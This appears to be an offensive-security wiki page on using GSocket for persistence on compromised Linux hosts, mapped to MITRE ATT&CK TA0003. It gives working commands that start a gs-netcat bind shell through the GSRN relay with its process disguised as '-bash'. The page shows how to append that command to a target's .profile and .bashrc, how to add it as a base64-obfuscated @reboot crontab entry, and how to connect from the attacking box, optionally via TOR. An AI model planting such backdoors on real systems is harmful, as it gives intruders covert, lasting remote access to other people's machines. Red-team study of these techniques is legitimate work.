GSocket for Persistence

MITRE ATT&CK™ Persistence - Tactic TA0003

Theory

GSocket is a networking utility designed to facilitate secure and transparent TCP connections between hosts, even when they are behind Network Address Translation (NAT) devices or firewalls. It achieves this by leveraging the Global Socket Relay Network (GSRN), enabling seamless and encrypted communication without requiring direct IP address visibility.

Key Features:

• Firewall and NAT Traversal: GSocket allows connections between hosts without modifying firewall settings, making it ideal for environments with strict network controls.

• End-to-End Encryption: Utilizing OpenSSL's Secure Remote Password (SRP) protocol, GSocket ensures that all data transmitted between hosts is securely encrypted. GSRN acts as an intermediary, forwarding encrypted traffic between endpoints.

• No Fixed IPs: Instead of a known destination address, each peer connects to GSRN and advertises itself using a cryptographic identifier derived from the shared password. Two machines using the same password can automatically find each other via GSRN, even if their IP addresses change.

These features make GSocket a powerful tool for establishing resilient persistence on compromised endpoints.

Practice

You can directly generate secrets using the gsocket -g command

Persistence Script

We may creates a persistence script that launches GSocket and provides a bind shell. The script can be placed in user profile scripts (.bashrc, .profile) or cron jobs for execution at login or system boot.

On the target machine, we can use following commands:

# Simple Persistence Command for reverse shell over GSRN
# gs-netcat
# -s: Secret (password)
# -l: listening mode
# -q: Quiet mode
# -D: Deamon & Watchdog mode
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)

# We can append this command to user profile scripts
echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)' >> /home/targetUser/.profile
echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)' >> /home/targetUser/.bashrc

# Alternatively base64 this payload and insert it into crontab
(crontab -l 2>/dev/null; echo "@reboot bash -c 'eval \$(echo a2lsbGFsbCAtMCBncy1uZXRjYXQgMi4vZGV2L251bGwgfHwgKEdTT0NLRVRfQVJHUz0iLXMgRXhhbXBsZVNlY3JldENoYW5nZU1lIC1saXFEIiBTSEVM... | base64 -d)'" ) | crontab -

We can now connect to the shell from our attacking box as follows:

# -s: Secret (password)
# -i: Interactive shell
# -T: Connect via TOR
gs-netcat -s ExampleSecretChangeMe -i

Systemd Persistence

SSH-Based Persistence

Resources

GitHub - hackerschoice/gsocket: Connect like there is no firewall. Securely.GitHub

Global SocketGlobal Socket